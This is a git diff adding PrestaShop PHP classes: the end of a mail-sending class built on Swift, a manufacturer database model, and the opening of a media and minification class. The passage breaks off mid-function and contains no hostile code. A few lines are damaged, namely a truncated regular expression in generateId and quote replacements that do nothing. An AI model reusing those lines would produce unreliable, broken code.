'PS_MAIL_SMTP_ENCRYPTION', + 'PS_MAIL_SMTP_PORT', + 'PS_MAIL_METHOD', + 'PS_MAIL_TYPE' + ), null, null, $id_shop); + + // Returns immediatly if emails are deactivated + if ($configuration['PS_MAIL_METHOD'] == 3) + return true; + + $theme_path = _PS_THEME_DIR_; + + // Get the path of theme by id_shop if exist + if (is_numeric($id_shop) && $id_shop) + { + $shop = new Shop((int)$id_shop); + $theme_name = $shop->getTheme(); + + if (_THEME_NAME_ != $theme_name) + $theme_path = _PS_ROOT_DIR_.'/themes/'.$theme_name.'/'; + } + + if (!isset($configuration['PS_MAIL_SMTP_ENCRYPTION'])) + $configuration['PS_MAIL_SMTP_ENCRYPTION'] = 'off'; + if (!isset($configuration['PS_MAIL_SMTP_PORT'])) + $configuration['PS_MAIL_SMTP_PORT'] = 'default'; + + // Sending an e-mail can be of vital importance for the merchant, when his password is lost for example, so we must not die but do our best to send the e-mail + if (!isset($from) || !Validate::isEmail($from)) + $from = $configuration['PS_SHOP_EMAIL']; + if (!Validate::isEmail($from)) + $from = null; + + // $from_name is not that important, no need to die if it is not valid + if (!isset($from_name) || !Validate::isMailName($from_name)) + $from_name = $configuration['PS_SHOP_NAME']; + if (!Validate::isMailName($from_name)) + $from_name = null; + + // It would be difficult to send an e-mail if the e-mail is not valid, so this time we can die if there is a problem + if (!is_array($to) && !Validate::isEmail($to)) + { + Tools::dieOrLog(Tools::displayError('Error: parameter "to" is corrupted'), $die); + return false; + } + + if (!is_array($template_vars)) + $template_vars = array(); + + // Do not crash for this error, that may be a complicated customer name + if (is_string($to_name) && !empty($to_name) && !Validate::isMailName($to_name)) + $to_name = null; + + if (!Validate::isTplName($template)) + { + Tools::dieOrLog(Tools::displayError('Error: invalid e-mail template'), $die); + return false; + } + + if (!Validate::isMailSubject($subject)) + { + Tools::dieOrLog(Tools::displayError('Error: invalid e-mail subject'), $die); + return false; + } + + /* Construct multiple recipients list if needed */ + if (is_array($to) && isset($to)) + { + $to_list = new Swift_RecipientList(); + foreach ($to as $key => $addr) + { + $to_name = null; + $addr = trim($addr); + if (!Validate::isEmail($addr)) + { + Tools::dieOrLog(Tools::displayError('Error: invalid e-mail address'), $die); + return false; + } + if (is_array($to_name)) + { + if ($to_name && is_array($to_name) && Validate::isGenericName($to_name[$key])) + $to_name = $to_name[$key]; + } + if ($to_name == null) + $to_name = $addr; + /* Encode accentuated chars */ + $to_list->addTo($addr, '=?UTF-8?B?'.base64_encode($to_name).'?='); + } + $to_plugin = $to[0]; + $to = $to_list; + } else { + /* Simple recipient, one address */ + $to_plugin = $to; + if ($to_name == null) + $to_name = $to; + $to = new Swift_Address($to, '=?UTF-8?B?'.base64_encode($to_name).'?='); + } + try { + /* Connect with the appropriate configuration */ + if ($configuration['PS_MAIL_METHOD'] == 2) + { + if (empty($configuration['PS_MAIL_SERVER']) || empty($configuration['PS_MAIL_SMTP_PORT'])) + { + Tools::dieOrLog(Tools::displayError('Error: invalid SMTP server or SMTP port'), $die); + return false; + } + $connection = new Swift_Connection_SMTP($configuration['PS_MAIL_SERVER'], $configuration['PS_MAIL_SMTP_PORT'], + ($configuration['PS_MAIL_SMTP_ENCRYPTION'] == 'ssl') ? Swift_Connection_SMTP::ENC_SSL : + (($configuration['PS_MAIL_SMTP_ENCRYPTION'] == 'tls') ? Swift_Connection_SMTP::ENC_TLS : Swift_Connection_SMTP::ENC_OFF)); + $connection->setTimeout(4); + if (!$connection) + return false; + if (!empty($configuration['PS_MAIL_USER'])) + $connection->setUsername($configuration['PS_MAIL_USER']); + if (!empty($configuration['PS_MAIL_PASSWD'])) + $connection->setPassword($configuration['PS_MAIL_PASSWD']); + } + else + $connection = new Swift_Connection_NativeMail(); + + if (!$connection) + return false; + $swift = new Swift($connection, Configuration::get('PS_MAIL_DOMAIN', null, null, $id_shop)); + /* Get templates content */ + $iso = Language::getIsoById((int)$id_lang); + if (!$iso) + { + Tools::dieOrLog(Tools::displayError('Error - No ISO code for email'), $die); + return false; + } + $template = $iso.'/'.$template; + + $module_name = false; + $override_mail = false; + + // get templatePath + if (preg_match('#'.__PS_BASE_URI__.'modules/#', str_replace(DIRECTORY_SEPARATOR, '/', $template_path)) && preg_match('#modules/([a-z0-9_-]+)/#ui', str_replace(DIRECTORY_SEPARATOR, '/',$template_path), $res)) + $module_name = $res[1]; + + if ($module_name !== false && (file_exists($theme_path.'modules/'.$module_name.'/mails/'.$template.'.txt') || + file_exists($theme_path.'modules/'.$module_name.'/mails/'.$template.'.html'))) + $template_path = $theme_path.'modules/'.$module_name.'/mails/'; + elseif (file_exists($theme_path.'mails/'.$template.'.txt') || file_exists($theme_path.'mails/'.$template.'.html')) + { + $template_path = $theme_path.'mails/'; + $override_mail = true; + } + if (!file_exists($template_path.$template.'.txt') && ($configuration['PS_MAIL_TYPE'] == Mail::TYPE_BOTH || $configuration['PS_MAIL_TYPE'] == Mail::TYPE_TEXT)) + { + Tools::dieOrLog(Tools::displayError('Error - The following e-mail template is missing:').' '.$template_path.$template.'.txt', $die); + return false; + } + else if (!file_exists($template_path.$template.'.html') && ($configuration['PS_MAIL_TYPE'] == Mail::TYPE_BOTH || $configuration['PS_MAIL_TYPE'] == Mail::TYPE_HTML)) + { + Tools::dieOrLog(Tools::displayError('Error - The following e-mail template is missing:').' '.$template_path.$template.'.html', $die); + return false; + } + $template_html = file_get_contents($template_path.$template.'.html'); + $template_txt = strip_tags(html_entity_decode(file_get_contents($template_path.$template.'.txt'), null, 'utf-8')); + + if ($override_mail && file_exists($template_path.$iso.'/lang.php')) + include_once($template_path.$iso.'/lang.php'); + else if ($module_name && file_exists($theme_path.'mails/'.$iso.'/lang.php')) + include_once($theme_path.'mails/'.$iso.'/lang.php'); + else + include_once(_PS_MAIL_DIR_.$iso.'/lang.php'); + + /* Create mail and attach differents parts */ + $message = new Swift_Message('['.Configuration::get('PS_SHOP_NAME', null, null, $id_shop).'] '.$subject); + + /* Set Message-ID - getmypid() is blocked on some hosting */ + $message->setId(Mail::generateId()); + + $message->headers->setEncoding('Q'); + + if (Configuration::get('PS_LOGO_MAIL') !== false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO_MAIL', null, null, $id_shop))) + $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO_MAIL', null, null, $id_shop); + else + { + if (file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, $id_shop))) + $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, $id_shop); + else + $template_vars['{shop_logo}'] = ''; + } + + /* don't attach the logo as */ + if (isset($logo)) + $template_vars['{shop_logo}'] = $message->attach(new Swift_Message_EmbeddedFile(new Swift_File($logo), null, ImageManager::getMimeTypeByExtension($logo))); + + $template_vars['{shop_name}'] = Tools::safeOutput(Configuration::get('PS_SHOP_NAME', null, null, $id_shop)); + $template_vars['{shop_url}'] = Context::getContext()->link->getPageLink('index', true, Context::getContext()->language->id); + $template_vars['{my_account_url}'] = Context::getContext()->link->getPageLink('my-account', true, Context::getContext()->language->id); + $template_vars['{guest_tracking_url}'] = Context::getContext()->link->getPageLink('guest-tracking', true, Context::getContext()->language->id); + $template_vars['{history_url}'] = Context::getContext()->link->getPageLink('history', true, Context::getContext()->language->id); + $template_vars['{color}'] = Tools::safeOutput(Configuration::get('PS_MAIL_COLOR', null, null, $id_shop)); + $swift->attachPlugin(new Swift_Plugin_Decorator(array($to_plugin => $template_vars)), 'decorator'); + if ($configuration['PS_MAIL_TYPE'] == Mail::TYPE_BOTH || $configuration['PS_MAIL_TYPE'] == Mail::TYPE_TEXT) + $message->attach(new Swift_Message_Part($template_txt, 'text/plain', '8bit', 'utf-8')); + if ($configuration['PS_MAIL_TYPE'] == Mail::TYPE_BOTH || $configuration['PS_MAIL_TYPE'] == Mail::TYPE_HTML) + $message->attach(new Swift_Message_Part($template_html, 'text/html', '8bit', 'utf-8')); + if ($file_attachment && !empty($file_attachment)) + { + // Multiple attachments? + if (!is_array(current($file_attachment))) + $file_attachment = array($file_attachment); + + foreach ($file_attachment as $attachment) + if (isset($attachment['content']) && isset($attachment['name']) && isset($attachment['mime'])) + $message->attach(new Swift_Message_Attachment($attachment['content'], $attachment['name'], $attachment['mime'])); + } + /* Send mail */ + $send = $swift->send($message, $to, new Swift_Address($from, $from_name)); + $swift->disconnect(); + return $send; + } + catch (Swift_Exception $e) { + return false; + } + } + + public static function sendMailTest($smtpChecked, $smtpServer, $content, $subject, $type, $to, $from, $smtpLogin, $smtpPassword, $smtpPort = 25, $smtpEncryption) + { + $swift = null; + $result = false; + try + { + if ($smtpChecked) + { + $smtp = new Swift_Connection_SMTP($smtpServer, $smtpPort, ($smtpEncryption == 'off') ? + Swift_Connection_SMTP::ENC_OFF : (($smtpEncryption == 'tls') ? Swift_Connection_SMTP::ENC_TLS : Swift_Connection_SMTP::ENC_SSL)); + $smtp->setUsername($smtpLogin); + $smtp->setpassword($smtpPassword); + $smtp->setTimeout(5); + $swift = new Swift($smtp, Configuration::get('PS_MAIL_DOMAIN')); + } + else + $swift = new Swift(new Swift_Connection_NativeMail(), Configuration::get('PS_MAIL_DOMAIN')); + + $message = new Swift_Message($subject, $content, $type); + + if ($swift->send($message, $to, $from)) + $result = true; + + $swift->disconnect(); + } + catch (Swift_ConnectionException $e) + { + $result = $e->getMessage(); + } + catch (Swift_Message_MimeException $e) + { + $result = $e->getMessage(); + } + + return $result; + } + + /** + * This method is used to get the translation for email Object. + * For an object is forbidden to use htmlentities, + * we have to return a sentence with accents. + * + * @param string $string raw sentence (write directly in file) + */ + public static function l($string, $id_lang = null, Context $context = null) + { + global $_LANGMAIL; + if (!$context) + $context = Context::getContext(); + + $key = str_replace('\'', '\\\'', $string); + if ($id_lang == null) + $id_lang = (!isset($context->language) || !is_object($context->language)) ? (int)Configuration::get('PS_LANG_DEFAULT') : (int)$context->language->id; + + $iso_code = Language::getIsoById((int)$id_lang); + + $file_core = _PS_ROOT_DIR_.'/mails/'.$iso_code.'/lang.php'; + if (Tools::file_exists_cache($file_core) && empty($_LANGMAIL)) + include_once($file_core); + + $file_theme = _PS_THEME_DIR_.'mails/'.$iso_code.'/lang.php'; + if (Tools::file_exists_cache($file_theme)) + include_once($file_theme); + + if (!is_array($_LANGMAIL)) + return (str_replace('"', '"', $string)); + if (array_key_exists($key, $_LANGMAIL) && !empty($_LANGMAIL[$key])) + $str = $_LANGMAIL[$key]; + else + $str = $string; + + return str_replace('"', '"', stripslashes($str)); + } + + /* Rewrite of Swift_Message::generateId() without getmypid() */ + protected static function generateId($idstring = null) + { + $midparams = array( + "utctime" => gmstrftime("%Y%m%d%H%M%S"), + "randint" => mt_rand(), + "customstr" => (preg_match("/^(? (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : php_uname("n")), + ); + return vsprintf("<%s.%d.%s@%s>", $midparams); + } + +} diff --git a/classes/Manufacturer.php b/classes/Manufacturer.php new file mode 100755 index 0000000..118433f --- /dev/null +++ b/classes/Manufacturer.php @@ -0,0 +1,466 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ManufacturerCore extends ObjectModel +{ + public $id; + + /** @var integer manufacturer ID //FIXME is it really usefull...? */ + public $id_manufacturer; + + /** @var string Name */ + public $name; + + /** @var string A description */ + public $description; + + /** @var string A short description */ + public $short_description; + + /** @var int Address */ + public $id_address; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** @var string Friendly URL */ + public $link_rewrite; + + /** @var string Meta title */ + public $meta_title; + + /** @var string Meta keywords */ + public $meta_keywords; + + /** @var string Meta description */ + public $meta_description; + + /** @var boolean active */ + public $active; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'manufacturer', + 'primary' => 'id_manufacturer', + 'multilang' => true, + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isCatalogName', 'required' => true, 'size' => 64), + 'active' => array('type' => self::TYPE_BOOL), + 'date_add' => array('type' => self::TYPE_DATE), + 'date_upd' => array('type' => self::TYPE_DATE), + + // Lang fields + 'description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'short_description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'size' => 254), + 'meta_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128), + 'meta_description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'active' => array(), + 'link_rewrite' => array('getter' => 'getLink', 'setter' => false), + ), + 'associations' => array( + 'addresses' => array('resource' => 'address', 'setter' => false, 'fields' => array( + 'id' => array('xlink_resource' => 'addresses'), + )), + ), + ); + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id, $id_lang); + + $this->link_rewrite = $this->getLink(); + $this->image_dir = _PS_MANU_IMG_DIR_; + } + + public function delete() + { + $address = new Address($this->id_address); + + if (Validate::isLoadedObject($address) AND !$address->delete()) + return false; + + if (parent::delete()) + { + CartRule::cleanProductRuleIntegrity('manufacturers', $this->id); + return $this->deleteImage(); + } + } + + /** + * Delete several objects from database + * + * return boolean Deletion result + */ + public function deleteSelection($selection) + { + if (!is_array($selection)) + die(Tools::displayError()); + + $result = true; + foreach ($selection as $id) + { + $this->id = (int)$id; + $this->id_address = Manufacturer::getManufacturerAddress(); + $result = $result && $this->delete(); + } + + return $result; + } + + protected function getManufacturerAddress() + { + if (!(int)$this->id) + return false; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue('SELECT `id_address` FROM '._DB_PREFIX_.'address WHERE `id_manufacturer` = '.(int)$this->id); + } + + /** + * Return manufacturers + * + * @param boolean $get_nb_products [optional] return products numbers for each + * @return array Manufacturers + */ + public static function getManufacturers($get_nb_products = false, $id_lang = 0, $active = true, $p = false, + $n = false, $all_group = false) + { + if (!$id_lang) + $id_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + + $sql = 'SELECT m.*, ml.`description`, ml.`short_description` + FROM `'._DB_PREFIX_.'manufacturer` m + LEFT JOIN `'._DB_PREFIX_.'manufacturer_lang` ml ON ( + m.`id_manufacturer` = ml.`id_manufacturer` + AND ml.`id_lang` = '.(int)$id_lang.' + ) + '.Shop::addSqlAssociation('manufacturer', 'm'); + if ($active) + $sql .= ' + WHERE m.`active` = 1'; + $sql .= ' + GROUP BY m.id_manufacturer + ORDER BY m.`name` ASC'. + ($p ? ' LIMIT '.(((int)$p - 1) * (int)$n).','.(int)$n : ''); + + $manufacturers = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + if ($manufacturers === false) + return false; + + if ($get_nb_products) + { + $sql_groups = ''; + if (!$all_group) + { + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + } + + foreach ($manufacturers as $key => $manufacturer) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS( + 'SELECT p.`id_product` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'manufacturer` as m ON (m.`id_manufacturer`= p.`id_manufacturer`) + WHERE m.`id_manufacturer` = '.(int)$manufacturer['id_manufacturer']. + ($active ? ' AND product_shop.`active` = 1 ' : ''). + ($all_group ? '' : ' AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + )') + ); + + $manufacturers[$key]['nb_products'] = count($result); + } + } + + $total_manufacturers = count($manufacturers); + $rewrite_settings = (int)Configuration::get('PS_REWRITING_SETTINGS'); + + for ($i = 0; $i < $total_manufacturers; $i++) + if ($rewrite_settings) + $manufacturers[$i]['link_rewrite'] = Tools::link_rewrite($manufacturers[$i]['name'], false); + else + $manufacturers[$i]['link_rewrite'] = 0; + + return $manufacturers; + } + + /** + * Return name from id + * + * @param integer $id_manufacturer Manufacturer ID + * @return string name + */ + static protected $cacheName = array(); + public static function getNameById($id_manufacturer) + { + if (!isset(self::$cacheName[$id_manufacturer])) + self::$cacheName[$id_manufacturer] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `name` + FROM `'._DB_PREFIX_.'manufacturer` + WHERE `id_manufacturer` = '.(int)$id_manufacturer.' + AND `active` = 1' + ); + + return self::$cacheName[$id_manufacturer]; + } + + public static function getIdByName($name) + { + $result = Db::getInstance()->getRow(' + SELECT `id_manufacturer` + FROM `'._DB_PREFIX_.'manufacturer` + WHERE `name` = \''.pSQL($name).'\'' + ); + + if (isset($result['id_manufacturer'])) + return (int)$result['id_manufacturer']; + + return false; + } + + public function getLink() + { + return Tools::link_rewrite($this->name, false); + } + + public static function getProducts($id_manufacturer, $id_lang, $p, $n, $order_by = null, $order_way = null, + $get_total = false, $active = true, $active_category = true, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + if ($p < 1) + $p = 1; + + if (empty($order_by) || $order_by == 'position') + $order_by = 'name'; + + if (empty($order_way)) $order_way = 'ASC'; + + if (!Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + die (Tools::displayError()); + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'; + + /* Return only the number of products */ + if ($get_total) + { + $sql = ' + SELECT p.`id_product` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE p.id_manufacturer = '.(int)$id_manufacturer + .($active ? ' AND product_shop.`active` = 1' : '').' + '.($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '').' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`)'. + ($active_category ? ' INNER JOIN `'._DB_PREFIX_.'category` ca ON cp.`id_category` = ca.`id_category` AND ca.`active` = 1' : '').' + WHERE cg.`id_group` '.$sql_groups.' + )'; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + return (int)count($result); + } + if (strpos($order_by, '.') > 0) + { + $order_by = explode('.', $order_by); + $order_by = pSQL($order_by[0]).'.`'.pSQL($order_by[1]).'`'; + } + $alias = ''; + if ($order_by == 'price') + $alias = 'product_shop.'; + elseif ($order_by == 'name') + $alias = 'pl.'; + elseif ($order_by == 'manufacturer_name') + { + $order_by = 'name'; + $alias = 'm.'; + } + elseif ($order_by == 'quantity') + $alias = 'stock.'; + else + $alias = 'p.'; + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, MAX(product_attribute_shop.`id_product_attribute`) id_product_attribute, + pl.`description`, pl.`description_short`, pl.`link_rewrite`, pl.`meta_description`, pl.`meta_keywords`, + pl.`meta_title`, pl.`name`, MAX(image_shop.`id_image`) id_image, il.`legend`, m.`name` AS manufacturer_name, + DATEDIFF( + product_shop.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0 AS new + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (p.`id_product` = pa.`id_product`) + '.Shop::addSqlAssociation('product_attribute', 'pa', false).' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON (p.`id_product` = pl.`id_product` AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN `'._DB_PREFIX_.'image` i + ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il + ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m + ON (m.`id_manufacturer` = p.`id_manufacturer`) + '.Product::sqlStock('p', 0).' + WHERE p.`id_manufacturer` = '.(int)$id_manufacturer.' + '.($active ? ' AND product_shop.`active` = 1' : '').' + '.($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '').' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp + ON (cp.`id_category` = cg.`id_category`)'. + ($active_category ? ' INNER JOIN `'._DB_PREFIX_.'category` ca ON cp.`id_category` = ca.`id_category` AND ca.`active` = 1' : '').' + WHERE cg.`id_group` '.$sql_groups.' + ) + GROUP BY product_shop.id_product + ORDER BY '.$alias.'`'.bqSQL($order_by).'` '.pSQL($order_way).' + LIMIT '.(((int)$p - 1) * (int)$n).','.(int)$n; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + if (!$result) + return false; + + if ($order_by == 'price') + Tools::orderbyPrice($result, $order_way); + + return Product::getProductsProperties($id_lang, $result); + } + + public function getProductsLite($id_lang) + { + $context = Context::getContext(); + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + return Db::getInstance()->executeS(' + SELECT p.`id_product`, pl.`name` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.$context->shop->addSqlRestrictionOnLang('pl').' + ) + WHERE p.`id_manufacturer` = '.(int)$this->id. + ($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '')); + } + + /* + * Specify if a manufacturer already in base + * + * @param $id_manufacturer Manufacturer id + * @return boolean + */ + public static function manufacturerExists($id_manufacturer) + { + $row = Db::getInstance()->getRow(' + SELECT `id_manufacturer` + FROM '._DB_PREFIX_.'manufacturer m + WHERE m.`id_manufacturer` = '.(int)$id_manufacturer + ); + + return isset($row['id_manufacturer']); + } + + public function getAddresses($id_lang) + { + return Db::getInstance()->executeS(' + SELECT a.*, cl.name AS `country`, s.name AS `state` + FROM `'._DB_PREFIX_.'address` AS a + LEFT JOIN `'._DB_PREFIX_.'country_lang` AS cl ON ( + cl.`id_country` = a.`id_country` + AND cl.`id_lang` = '.(int)$id_lang.' + ) + LEFT JOIN `'._DB_PREFIX_.'state` AS s ON (s.`id_state` = a.`id_state`) + WHERE `id_manufacturer` = '.(int)$this->id.' + AND a.`deleted` = 0' + ); + } + + public function getWsAddresses() + { + return Db::getInstance()->executeS(' + SELECT a.id_address as id + FROM `'._DB_PREFIX_.'address` AS a + '.Shop::addSqlAssociation('manufacturer', 'a').' + WHERE a.`id_manufacturer` = '.(int)$this->id.' + AND a.`deleted` = 0' + ); + } + + public function setWsAddresses($id_addresses) + { + $ids = array(); + + foreach ($id_addresses as $id) + $ids[] = (int)$id['id']; + + $result1 = (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'address` + SET id_manufacturer = 0 + WHERE id_manufacturer = '.(int)$this->id.' + AND deleted = 0') !== false + ); + + $result2 = true; + if (count($ids)) + $result2 = (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'address` + SET id_customer = 0, id_supplier = 0, id_manufacturer = '.(int)$this->id.' + WHERE id_address IN('.implode(',', $ids).') + AND deleted = 0') !== false + ); + + return ($result1 && $result2); + } +} diff --git a/classes/Media.php b/classes/Media.php new file mode 100755 index 0000000..a769218 --- /dev/null +++ b/classes/Media.php @@ -0,0 +1,552 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class MediaCore +{ + public static $jquery_ui_dependencies = array( + 'ui.core' => array('fileName' => 'jquery.ui.core.min.js', 'dependencies' => array(), 'theme' => true), + 'ui.widget' => array('fileName' => 'jquery.ui.widget.min.js', 'dependencies' => array(), 'theme' => false), + 'ui.mouse' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget'), 'theme' => false), + 'ui.position' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array(), 'theme' => false), + 'ui.draggable' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget', 'ui.mouse'), 'theme' => false), + 'ui.droppable' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget', 'ui.mouse', 'ui.draggable'), 'theme' => false), + 'ui.resizable' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget', 'ui.mouse'), 'theme' => true), + 'ui.selectable' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget', 'ui.mouse'), 'theme' => true), + 'ui.sortable' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget', 'ui.mouse'), 'theme' => true), + 'ui.accordion' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget'), 'theme' => true), + 'ui.autocomplete' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget', 'ui.position'), 'theme' => true), + 'ui.button' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget'), 'theme' => true), + 'ui.dialog' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget', 'ui.position'), 'theme' => true), + 'ui.slider' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget', 'ui.mouse'), 'theme' => true), + 'ui.tabs' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget'), 'theme' => true), + 'ui.datepicker' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core'), 'theme' => true), + 'ui.progressbar' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('ui.core', 'ui.widget'), 'theme' => true), + 'effects.core' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array(), 'theme' => false), + 'effects.blind' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.bounce' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.clip' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.drop' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.explode' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.fade' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.fold' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.highlight' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.pulsate' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.scale' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.shake' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.slide' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false), + 'effects.transfer' => array('fileName' => 'jquery.ui.mouse.min.js', 'dependencies' => array('effects.core'), 'theme' => false) + ); + + public static function minifyHTML($html_content) + { + if (strlen($html_content) > 0) + { + //set an alphabetical order for args + $html_content = preg_replace_callback( + '/(<[a-zA-Z0-9]+)((\s?[a-zA-Z0-9]+=[\"\\\'][^\"\\\']*[\"\\\']\s?)*)>/', + array('Media', 'minifyHTMLpregCallback'), + $html_content, + Media::getBackTrackLimit()); + + require_once(_PS_TOOL_DIR_.'minify_html/minify_html.class.php'); + $html_content = str_replace(chr(194).chr(160), ' ', $html_content); + if (trim($minified_content = Minify_HTML::minify($html_content, array('xhtml', 'cssMinifier', 'jsMinifier'))) != '') + $html_content = $minified_content; + + return $html_content; + } + return false; + } + + public static function minifyHTMLpregCallback($preg_matches) + { + $args = array(); + preg_match_all('/[a-zA-Z0-9]+=[\"\\\'][^\"\\\']*[\"\\\']/is', $preg_matches[2], $args); + $args = $args[0]; + sort($args); + // if there is no args in the balise, we don't write a space (avoid previous : , now : <title>) + if (empty($args)) + $output = $preg_matches[1].'>'; + else + $output = $preg_matches[1].' '.implode(' ', $args).'>'; + return $output; + } + + public static function packJSinHTML($html_content) + { + if (strlen($html_content) > 0) + { + $html_content_copy = $html_content; + $html_content = preg_replace_callback( + '/\\s*(<script\\b[^>]*?>)([\\s\\S]*?)(<\\/script>)\\s*/i', + array('Media', 'packJSinHTMLpregCallback'), + $html_content, + Media::getBackTrackLimit()); + + // If the string is too big preg_replace return an error + // In this case, we don't compress the content + if 